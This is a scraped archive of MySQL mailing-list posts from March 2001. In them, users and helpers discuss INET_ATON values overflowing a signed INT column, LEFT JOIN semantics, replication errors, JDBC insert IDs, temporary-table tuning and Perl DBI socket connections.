| 403835397 | TestHost | This is a test | Test |
| 2147483647 | TestHost2 | This is a test | Test |
++---++--+
2 rows in set (0.01 sec)
mysql select INET_NTOA(ip),hostname from sequoia;
+-+---+
| INET_NTOA(ip) | hostname |
+-+---+
| 24.18.10.5 | TestHost |
| 127.255.255.255 | TestHost2 |
+-+---+
2 rows in set (0.01 sec)
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Serious LEFT JOIN bug in 3.23
Hi. Ah okay, I as thought, I misunderstood your objection. The behaviour is how Standard SQL defines it and what is to be expected. You may want consider to do some reading on relational database theory (don't take this proposal wrong...). Aside from that, I agree, that sometimes the behaviour you expected would be handy. Well, let's see if I can explain it (that's is not my strength :-): SQL operates (at least in theory) on sets, and the first step to resolve the query is to build the cross product of both tables involved in a join (i.e. each row from one table is put together with each table of the other table, creating N times M rows). Then depending on the join type, the intermediate result is restricted. The problem you encounter is, that if the right table is empty, the cross product already is empty. And there is nothing left to do. While, when the right table is non-empty, you get the result you expect. The inconsistence, as you called it, is that a LEFT JOIN is _not_ defined the way one usually tends to think about it, namely to take each row from the left table and simply look whether there is a match in the right table. It is more complex, and admittingly not as intuitive as it could be, but the way, RDBMs based on SQL work. Bye, Benjamin. On Wed, Mar 21, 2001 at 12:37:56AM -0700, [EMAIL PROTECTED] wrote: The query returns 2 different result sets depending on whether the table on the right side of a LEFT JOIN has records or not. I just don't see how this is acceptable behavior. Either it should always return the result set or it should always return the empty set. The size of the right table should not affect the size or the result in a LEFT JOIN [...] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Please
On Wed, Mar 21, 2001 at 05:07:59AM +0300, [EMAIL PROTECTED] wrote: please tell me about this error: Fatal error: Call to unsupported or undefined function mysql_pconnect() in mainfile.php on line 17 or Fatal error: Call to unsupported or undefined function mysql_pconnect() in ./db_mysql.php on line 73 Your PHP does not have MySQL support compiled in. Recompile PHP, or install a package which has been built with MySQL support. G'luck, Peter -- If I had finished this sentence, - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: INET_ATON
Hi.
On Tue, Mar 20, 2001 at 02:09:48PM -0800, [EMAIL PROTECTED] wrote:
ok... this is stumping me perhaps I'm doing something wring, but It
doesn't appear that I am
Am I doing, or not doing something that makes the INET_ATON function
default to 127.255.255.255 ?
No, as you should yourself below, INET_ATON("192.168.50.5") returns
the correct result (3232248325), while inserting the result into the
table does not (2147483647). So this has nothing to with INET_ATON().
You can verify this by doing:
INSERT INTO sequoia VALUES (3232248325, 'Test', 'Test', 'Test');
which will also yield to a wrong value stored in the table.
why does it work for 24.18.10.5, but not
192.168.50.5 when inserting into a table?
The explanation is very probably that you have defined sequoia.ip to
be of type INT, which has a MAX value of 2147483647.
If you insert a too large value (for example 3232248325) into a
column, MySQL will insert the MAX value of that column instead (here:
2147483647).
Simply change the table type to INT UNSIGNED and your problem should
be gone.
Bye,
Benjamin.
mysql SELECT INET_ATON("24.18.10.5");
+-+
| INET_ATON("24.18.10.5") |
+-+
| 403835397 |
+-+
1 row in set (0.01 sec)
mysql SELECT INET_ATON("192.168.50.5");
+---+
| INET_ATON("192.168.50.5") |
+---+
|3232248325 |
+---+
1 row in set (0.01 sec)
mysql insert into sequoia VALUES ( INET_ATON("24.18.10.5"), 'TestHost',
'This is a test', 'Test' );
Query OK, 1 row affected (0.03 sec)
mysql insert into sequoia VALUES ( INET_ATON("192.168.50.5"),
'TestHost2', 'This is a test', 'Test' );
Query OK, 1 row affected (0.01 sec)
mysql select * from sequoia;
++---++--+
| ip | hostname | comment| customer |
++---++--+
| 403835397 | TestHost | This is a test | Test |
| 2147483647 | TestHost2 | This is a test | Test |
++---++--+
2 rows in set (0.01 sec)
mysql select INET_NTOA(ip),hostname from sequoia;
+-+---+
| INET_NTOA(ip) | hostname |
+-+---+
| 24.18.10.5 | TestHost |
| 127.255.255.255 | TestHost2 |
+-+---+
2 rows in set (0.01 sec)
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
mysqldump
Hello, is there anyway to execute a mysqldump command via the web and have the dump stored on a file on the server. do any of the webinterfaces offer that? any scripting languages? thanks randy - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Please
Fatal error: Call to unsupported or undefined function mysql_pconnect() in ./db_mysql.php on line 73 Wrong list. Help can be found via several lists: http://www.php.net Before posting you really should read the manual, also found at php.net Or try at least a few examples from: www.phpbuilder.com www.devshed.com www.phpbeginner.com That should get you up and running.. Bye, B. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
group by error in query
Hi, I've just ported from SQLServer where this query ran fine, however MySQL gives an "invalid use of group function" error. Any ideas? thx dan select us.username, us.id as userid, count(*) as tips from UserTippingInfo u, Matches m, Users us WHERE round = 23 AND us.id = u.userid AND m.matchnumber = u.matchnumber and played = 1 and u.tip = m.winner and u.competitionid = 20 and datemade dateplayed group by us.username, us.id order by count(*) DESC, MIN(datemade) LIMIT 10 UserTippingInfo u Matches m Users us userid int matchnumber int id int competitionid into round tinyint username varchar(50) matchnumber int played tinyint datemade datetime winner varchar(25) tip varchar(25) dateplayed datetime - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
replication problem
My slave stopped getting data from the master. Every 60 seconds, I get an entry like this in the log file: 010321 2:23:07 Error reading packet from server: bogus data in log event (read_errno 0,server_errno=65535) I believe this occurs when I run an insert with a a very large (100's of thousands) number of entries in it. The slave is 3.23.33, the master is 3.23.33-log, both machines are running Redhat 7.0. Has anybody else seen a problem like this? What should I do to get it fixed? (assuming it is a bug..) -- Tom Kleinpeter [EMAIL PROTECTED] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
MYSQLGUI problem - won't connect
I just downloaded the latest version on MySQL as well as the MYSQLGUI program. I have MySQL installed and I can access it from the mysql command line but I just can't get MYSQLGUI to connect. It keeps giving me - Can't connect to local MySQL server through socket " (111) - Can you tell me where I am going wrong. I get the same error with both the static and semi-static versions for Linux. Thanks, David - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Serious LEFT JOIN bug in 3.23
I appreciate your explanation. You may be correct about Standard SQL, however I do not believe that this can be explained as a simple cross-product. If a LEFT JOIN were implemented starting with a cross product then NO LEFT JOIN would EVER return NULL in the right table. A pure cross product would not take into consideration a non existant record in the right table. I believe the implementation of a LEFT JOIN must include more than a cross-product. At the very least a NULL row must be added to the right table before performing the product. Based on my results I would guess the optimizer stops the my query before the server ever even tries to perform the join. Ah okay, I as thought, I misunderstood your objection. The behaviour is how Standard SQL defines it and what is to be expected. You may want consider to do some reading on relational database theory (don't take this proposal wrong...). Aside from that, I agree, that sometimes the behaviour you expected would be handy. Well, let's see if I can explain it (that's is not my strength :-): SQL operates (at least in theory) on sets, and the first step to resolve the query is to build the cross product of both tables involved in a join (i.e. each row from one table is put together with each table of the other table, creating N times M rows). Then depending on the join type, the intermediate result is restricted. The problem you encounter is, that if the right table is empty, the cross product already is empty. And there is nothing left to do. While, when the right table is non-empty, you get the result you expect. The inconsistence, as you called it, is that a LEFT JOIN is _not_ defined the way one usually tends to think about it, namely to take each row from the left table and simply look whether there is a match in the right table. It is more complex, and admittingly not as intuitive as it could be, but the way, RDBMs based on SQL work. Bye, Benjamin. On Wed, Mar 21, 2001 at 12:37:56AM -0700, [EMAIL PROTECTED] wrote: The query returns 2 different result sets depending on whether the table on the right side of a LEFT JOIN has records or not. I just don't see how this is acceptable behavior. Either it should always return the result set or it should always return the empty set. The size of the right table should not affect the size or the result in a LEFT JOIN [...] - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: INET_ATON
On 20-Mar-01 Jason Bell wrote: ok... this is stumping me perhaps I'm doing something wring, but It doesn't appear that I am Am I doing, or not doing something that makes the INET_ATON function default to 127.255.255.255 ? why does it work for 24.18.10.5, but not 192.168.50.5 when inserting into a table? the column has to be int unsigned. Regards, -- Don Read [EMAIL PROTECTED] -- If you are going to sin, sin against God, not the bureaucracy. God will forgive you but the bureaucrats won't. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Small select question...
Sorry for the ambiguity, I was trying to make a really generic select statement. I just meant that if 'where a = A.a' has no matches, but 'where b = B.b' or 'where c = C.c' does match, the query returns what did match, and just returns null where it didnt. I will look at the CASE WHEN...THEN. Thanks! -Original Message- From: Jason Landry [mailto:[EMAIL PROTECTED]] Sent: Tuesday, March 20, 2001 12:00 PM To: Bryan Coon; [EMAIL PROTECTED] Subject: Re: Small select question... You'll have to be more specific in your example -- your select statement below is rather ambiguous. However, take a look at the CASE WHEN...THEN functions that MySQL offers. I'm sure it's exactly what you are looking for. - Original Message - From: "Bryan Coon" [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Tuesday, March 20, 2001 1:30 PM Subject: Small select question... Hopefully this is not too lame a question... In oracle, I can do this: select a, b, c from A, B, C where a = A.a (+) and b = B.b (+) and c = C.c; What is the equivalent in MySQL? The (+) allows that 'where' statement to be kind of optional (I think). Basically I want to do a select on multiple tables and if one of the 'where' statements doesn't match anything, the query still returns values for other statements that did (e.g. if a = A.a is not true, but b = B.b is, I want to return B.b). Thanks! - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: Please
On 21-Mar-01 [EMAIL PROTECTED] wrote: please tell me about this error: Fatal error: Call to unsupported or undefined function mysql_pconnect() in mainfile.php on line 17 or Fatal error: Call to unsupported or undefined function mysql_pconnect() in ./db_mysql.php on line 73 Thanks You don't have MySQL support compiled into your php. Regards, -- Don Read [EMAIL PROTECTED] -- If you are going to sin, sin against God, not the bureaucracy. God will forgive you but the bureaucrats won't. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: text stored as binary question posted earlier
Regarding to the manual there is no difference between blob and text fields,
except that searching on text fields is case-insensitive and searches on
blobs are binary safe.
However, i'm quite stunned if you say you cannot use mysql_query to query
binary data, i've never experienced this problem:
mysql create table test (b tinyblob);
Query OK, 0 rows affected (0.00 sec)
mysql insert into test values ('test');
Query OK, 1 row affected (0.00 sec)
mysql select * from test;
+--+
| b|
+--+
| test |
+--+
1 row in set (0.00 sec)
mysql select * from test where b like '%t%';
+--+
| b|
+--+
| test |
+--+
1 row in set (0.00 sec)
with both PHP and delphi i did not experience any problem at all.
which version and environment are you using and can you reproduce it ?
- Original Message -
From: "WCBaker" [EMAIL PROTECTED]
To: "MySQL" [EMAIL PROTECTED]
Sent: Wednesday, March 21, 2001 4:42 AM
Subject: "text stored as binary" question posted earlier
Hi all!
Regarding my earler question about storing text as binary - I found no
problem storing the text as mediumtext or longtext, and then dragging it
out
with a normal "mysql_query ".This solves my problem.
However, if anyone has other ideas I'd love to hear them!
Thanks very much!
-Warren
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Serious LEFT JOIN bug in 3.23
On Wed, Mar 21, 2001 at 01:32:11AM -0700, [EMAIL PROTECTED] wrote: I appreciate your explanation. You may be correct about Standard SQL, however I do not believe that this can be explained as a simple cross-product. If a LEFT JOIN were implemented starting with a cross product then NO LEFT JOIN would EVER return NULL in the right table. A pure cross product would not take into consideration a non existant record in the right table. It would. Let's see an minor example: table1: id 1 2 3 table2: id 1 3 cross product: table1.idtable2.id 1 1 1 3 2 1 2 3 3 1 3 3 SELECT table1.id, table2.id FROM table1 LEFT JOIN table ON table1.id = table2.id-1 (note the '-1' which is there to get away from the trivial case) will result in: 1 NULL 2 3 3 NULL because, if you simply go through all all table1.id's, you will find the '3', but not a matching '3' (4-1) and therefore get a NULL. It's as if you group on table1.id and look if there is a match in the group: grouped cross product: table1.idtable2.id table2.id-1 1 (1,3) (0,2) 2 (1,3) (0,2) 3 (1,3) (0,2) If there is a match in the group, the matching (table2.id-1) is taken, else NULL is printed. So I can very well derive the NULL values only from the cross product. I believe the implementation of a LEFT JOIN must include more than a cross-product. At the very least a NULL row must be added to the right table before performing the product. Sorry, I don't understand you here. Maybe we don't think the same about what cross product is (see above). Based on my results I would guess the optimizer stops the my query before the server ever even tries to perform the join. That's a different thing. What I explained was how the theory goes. The optimizer is free to do what it wants as long it complies to the theory. In your case, it early recognizes that the right table is empty and knows, that the result will be empty, regardless of what kind of LEFT JOIN this is and therefore stops. (At least, that is what I assume that happens... I didn't look at the source). Bye, Benjamin. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Dont optimize column width ??
Hi i got a problem.. =P Im doing some test programming using Delphi and the myODBC driver in windows 2000 and i get some strange stuff.. Example table in these examples PICAB (table) IDCounter int NamnCHAR 100 EPostCHAR 100 Example 1. Dont optimize column width and with an empty table.. Then i can start the program and it works fine tho when a get data from the table its allways like this Namn - 'Eric Holmbom ' and alot of spaces, it has the whole width of the column as an result. Example 2 I now use optimize column width and with some data in the table Now it all works fine too and i get the data out from the table as i want it. like Namn - 'Eric Holmbom' and no spaces included.. Example 3 I now use optimize column width and with an empty table Now i cant start the program i get an error saying. 'Invalid field size' So whats the problem?? is it like this that u must have data in the table?? for it to work and cant start with empty one? // Eric Holmbom
RE: Is storing a whack of text in a binary format ok?
On 21-Mar-01 WCBaker wrote:
Hi,
I can store and retrieve binary data in the form of image or sound files.
However, I wanted to store up to say, 10,000 bytes of textual data. Since
varchar has a 255 byte ceiling I thought that mediumblob might be nice for
this. I can store the stuff as mediumblob without difficulty.
However, when I try to retrieve the mediumblob (just character data
originally) via PHP4, I tried this:
$sectionText1=mysql_query(" select sectionText from sectionbinaries where
TestID='$test' and section='$section' ");
$section1=mysql_fetch_row($sectionText1);
This section1 array gives me a raft of stuff, including a lot more than I
want.
No, it returns an array of one element $section1['sectionText'] (bad variable
naming, btw).
So I looked in the manual and found that:
"mysql_query() cannot be used for queries that contain binary data; you
should use mysql_real_query() instead. "
SO I switched to:
$sectionText1=mysql_real_query(" select sectionText from sectionbinaries
where TestID='$test' and section='$section' ");
$section1=mysql_fetch_row($sectionText1);
and received the following error:
Fatal error: Call to undefined function: mysql_real_query() in data.php3 on
line 210
Can anyone point me in the correct direction?
1. It is character data originally -- should I be using a mediumblob format
to get 10,000 bytes or so into storage?
TEXT - `TEXT' column with a maximum length of 65535 (2^16 - 1)
characters.
2. What function might I use (and how can I use it) to correctly display
the data if stored as something other than varchar?
don't confuse C (mysql_query mysql_real_query) with PHP's mysql_query.
$res=mysql_query(" select sectionText from sectionbinaries where
TestID='$test' and section='$section' ");
if ($res) {
while ($row = mysql_fetch_object($res)) {
echo 'PText: ', $row-sectionText;
}
echo 'BR';
}
Regards,
--
Don Read [EMAIL PROTECTED]
-- If you are going to sin, sin against God, not the bureaucracy.
God will forgive you but the bureaucrats won't.
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: ADVICE: Best way to store multi values
You are building a "many to many" relationship. How to do it: * Each staff member should have an unique ID (eg StaffMember_ID) in the Staff table; * Each subject has an ID in the SubjectTitles table; * and you need a third table, with two fields: StaffMember_ID and SubjectTitle_ID, plus extra data if needed (eg: due date, assignment date, comments, priority, ...) When you assign a subject to a staff member, you add a record to that table. Hope this helps you. Regards, Jean-Claude - Original Message - From: "Mark Worsdall" [EMAIL PROTECTED] To: [EMAIL PROTECTED] Sent: Tuesday, March 20, 2001 9:22 PM Subject: ADVICE: Best way to store multi values Hi, I have a table called staff which currently has a column called subjectTitles_id which is the type INTEGER. I have another table called subjectTitles which contains 12 subject titles. So that is how a member of staff is assigned a subject. Trouble is I need to be able to assign a multiple number of subjects to anyone member of staff. The method I thought to use was change staff.subjectTitles_id from INTEGER type to CHAR type and store a string of CSV numbers which correspond to the id's of the table subjectTitles, e.g.:- 1;2;7;10 Is this the way? It seems quite ungraceful. M. -- He came from Econet - Oh no, I've run out of underpants :( Home:- [EMAIL PROTECTED] http://www.wizdom.org.uk Shadow:- [EMAIL PROTECTED] http://www.shadow.org.uk Work:- [EMAIL PROTECTED] http://www.hinwick.demon.co.uk - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
MySQL RPMS for RH7
Get your RH7 RPMS for 3.23.35! http://www.moongroup.com/stories.php?story=01/03/20/4439095 -- Chuck Mead, csm -AT- moongroup.com, Owner, MoonGroup.com (Note: html formatted email sent to me is filtered deleted unread) GnuPG Public Key Available: http://wwwkeys.us.pgp.net - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: Please Help - Empty Entries
On Tue, Mar 20, 2001 at 03:44:44PM -0800, Marcus Ouimet wrote: I went into my database today and noticed that there was 102,000 entries. Somehow a whole pile of crap was added to the end of the database. I think it can easily be fixed but am not sure. Is there a way that I can eliminate all entries with a field that is blank? ie: if the table products is blank in the name field delete it? Is this possible? The DELETE SQL statement has a WHERE clause similar to that of the SELECT statement; of course you can do a: DELETE FROM table WHERE field = ''; or, maybe more relevant, DELETE FROM table WHERE field IS NULL; depending on what exactly you mean by 'blank'. G'luck, Peter -- Hey, out there - is it *you* reading me, or is it someone else? - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: searching tables.
On 20-Mar-01 John Nielsen wrote: Hi Everyone, This question may have been asked before, but i could not find it in the archives, so i was wondering if someone could help me out. Say i had the following table: +++-+ | id | address| domainalias | +++-+ | 2 | [EMAIL PROTECTED] | fred| | 3 | [EMAIL PROTECTED] | bill| +++-+ Now say i had over 200 entrys in that table, but all i wanted to see was just "[EMAIL PROTECTED]" but i did not know what "id" it was, is there a way i can "search" the table, and only show the relevent information that i need? select * from da_table where address='[EMAIL PROTECTED]'; Regards, -- Don Read [EMAIL PROTECTED] -- If you are going to sin, sin against God, not the bureaucracy. God will forgive you but the bureaucrats won't. - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: SQLException caught : Before start of result set ?
Thanks for the info, however I'm struggling to understand how it applies to
my case. Following is the piece of code in question, and the error is due
to
the SELECT following the INSERT (insert works fine; LIGHTBOX_ID is on
AUTO_INCREMENT) :
// add a LIGHTBOX row ...
rs = stmt.executeQuery("INSERT INTO LIGHTBOX (CLIENT_ID,
LIGHTBOX_ID, NAME, TS, IMAGE_COUNT) VALUES ('" + (String)
session.getValue("clientID") + "', 0, '" +
req.getParameter("lb_name").trim() + "', NULL, '" +
sessionLightbox.getNumOfImages() + "')");
// get the LIGHTBOX_ID value just assigned ...
rs = stmt.executeQuery("SELECT LAST_INSERT_ID() AS ID");
int iNextId = rs.getInt("ID");
Basically I'm not traversing any returned sets here, just inserted a row,
determining an allocated ID and would be (!) carrying on inserting into
another table.
Is there a 'de-facto' reference JDBC driver I should try / use ?
I am very much an SQL newbie, so I wouldn't claim any authority. I'll just
remark
on what occurs to me on your code.
Firstly, I would do the insert with executeUpdate not executeQuery. I am
not
sure what state the ResultSet is left in if you execute an Update as a
Query - though it should be fixed by the second query.
Secondly, if you are using the MM.MySQL JDBC driver, there is a special
facility
for retrieving the Last Insert Id more efficiently. Cast stmt to
org.gjt.mm.mysql.Statement and then call getLastInsertID(). This should
save an
inter-processor call, at the cost of being MySQL dependant.Thus
int iNextID = ((org.gjt.mm.mysql.Statement) stmt).getLastInsertID () ;
That is the way I have solved this problem.
Thirdly - and this is more a query than a criticism - wouldn't it be more
efficient
to do
rs = stmt.executeQuery("SELECT LAST_INSERT_ID()");
int iNextId = rs.getInt(1);
which saves the text search on the column numbers? It seems to me
reasonable to
"assume" the number 1 between two adjacent lines of code.
Alec
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
RE: group by error in query (RESEND, don't think it came through)
Hi, I've just ported from SQLServer where this query ran fine, however MySQL gives an "invalid use of group function" error. Any ideas? thx dan select us.username, us.id as userid, count(*) as tips from UserTippingInfo u, Matches m, Users us WHERE round = 23 AND us.id = u.userid AND m.matchnumber = u.matchnumber and played = 1 and u.tip = m.winner and u.competitionid = 20 and datemade dateplayed group by us.username, us.id order by count(*) DESC, MIN(datemade) LIMIT 10 UserTippingInfo u Matches m Users us userid int matchnumber int id int competitionid into round tinyint username varchar(50) matchnumber int played tinyint datemade datetime winner varchar(25) tip varchar(25) dateplayed datetime - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: tmp_disk_tables vs. tmp_tables
Hi, We're are a little worried about the ratio of tmp_disk_tables to tmp_tables. We are assuming the created_tmp_tables from `mysqladmin extended-status` represents the total number of temporary tables created and created_tmp_disk_tables from `mysqladmin extended-status` represents the number of temporary tables that exceeded tmp_table_size, and therefore had to be written to disk. Is this correct? If so, then the smaller this ratio the better, correct? Well, common sense dicatates that in situations like this, having as many of your temporary tables as possible created in memory rather than on disk is better, because memory is always faster than any disk drive. Over 80% of the temporary tables are being written to disk. This seem WAY too high. Curious to find out what ratio others are seeing. On my fairly-used MySQL server, the ratio is at about 34%. I'd say 80% is indeed way too high. If this is high, then what is a good way to lower it? Which variables to bump up? Are some variables related/dependent on eachother? For example, since most temp tables are created due to group by's and sort by's, are one or more sort buffers used per temp table? If a query that uses a temp table table runs out of sort buffer space, then is the temp table automatically written to disk? Are buffers such as sort buffers included in the space used for a temp table? The reason I ask is because a 16M tmp_table_size seems to be plenty large considering the size of the tables we are working with? There's only one variable that will affect this situation, which is tmp_table_size. I have mine currently set to 16Mb also. However, your usage may be the key here. Are your queries optimised and using indexes in the proper places? Not having queries use indexes is bound to result in temp tables being created all over the place. Also, maybe your server is running low on memory because of other processes? Perhaps you should take a look at all your most commonly used queries. Then, if all that seems okay, maybe you do need to bump up your tmp_table_size. I've read the optimization chapter in the MySQL manual, but only some of the configurable variables are described. Is there a resource that describes ALL of these in better detail? Try looking at the documentation for the SHOW VARIABLES command, section 7.28.4: http://www.mysql.com/doc/S/H/SHOW_VARIABLES.html We've overriden these variables for a machine with 512M memory: set-variable= key_buffer=128M set-variable= table_cache=256 set-variable= max_allowed_packet=1M set-variable= max_connections=250 set-variable= record_buffer=1M set-variable= tmp_table_size=16M set-variable= max_heap_table_size=32M set-variable= sort_buffer=8M These look pretty sensible for 512Mb. You might want to increase the key_buffer size, if you're processing large amounts of records in your tables though (I'm talking about millions of records here, though). Regards, Basil Hussain ([EMAIL PROTECTED]) - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: speed problems
Disk speed and memory is more relevant than CPU speed most times, so you should include that info in your comparison. This is the fun part :). Machine which is the fastest with old mysql and Debian has IDE HDD and 128 MB RAM, RH7 machine (dual PIII and new mysql) has SCSI RAID and 512 MB RAM, same with FreeBSD server. And how big is your table in bytes (not rows). Little more than 12 MB I would start with comparing the output of mysqladmin variables Already did this. Machines with new mysql have ALL bigger values (key-buffer, sort-buffer etc) than this old mysql. And we tested them with same values too... nothing, still alot slower :( Next, compare the output of EXPLAIN for all machines. In any case, it should be the same for the same MySQL versions. If it differs for any of the test cases, this could cause the speed difference. Yes, they are same with same versions of MySQL. Rgds, Viljo - Before posting, please check: http://www.mysql.com/manual.php (the manual) http://lists.mysql.com/ (the list archive) To request this thread, e-mail [EMAIL PROTECTED] To unsubscribe, e-mail [EMAIL PROTECTED] Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: non-standard socket
On Tue, Mar 20, 2001 at 03:12:39PM -0600, Jeff Jones wrote:
I am using mysqld_multi to have several different mysql servers start. I have
finally gotten it to work with php when I connect to a non-standard socket,
such as /tmp/mysql.sock2. Does anyone know how to connect to a database with
perl through that socket? I have tried the following with no luck:
my($port) = '/tmp/mysql.sock2';
my($mysql) = "DBI:mysql:webhost:localhost:$port";
$dbh = DBI-connect($mysql, 'user', 'pass');
But it will not establish the connection. Has anyone done this before or is
it even possible with the Perl DBI?
I use this:
my $dbh = DBI-connect("dbi:mysql:database=$dbname:mysql_socket=/tmp/mysql-3.23.sock",
$account, $passwd);
Regards,
Fred.
--
Fred van Engen XO Communications B.V.
email: [EMAIL PROTECTED] Televisieweg 2
tel: +31 36 5462400 1322 AC Almere
fax: +31 36 5462424 The Netherlands
-
Before posting, please check:
http://www.mysql.com/manual.php (the manual)
http://lists.mysql.com/ (the list archive)
To request this thread, e-mail [EMAIL PROTECTED]
To unsubscribe, e-mail [EMAIL PROTECTED]
Trouble unsubscribing? Try: http://lists.mysql.com/php/unsubscribe.php
Re: searching tables.
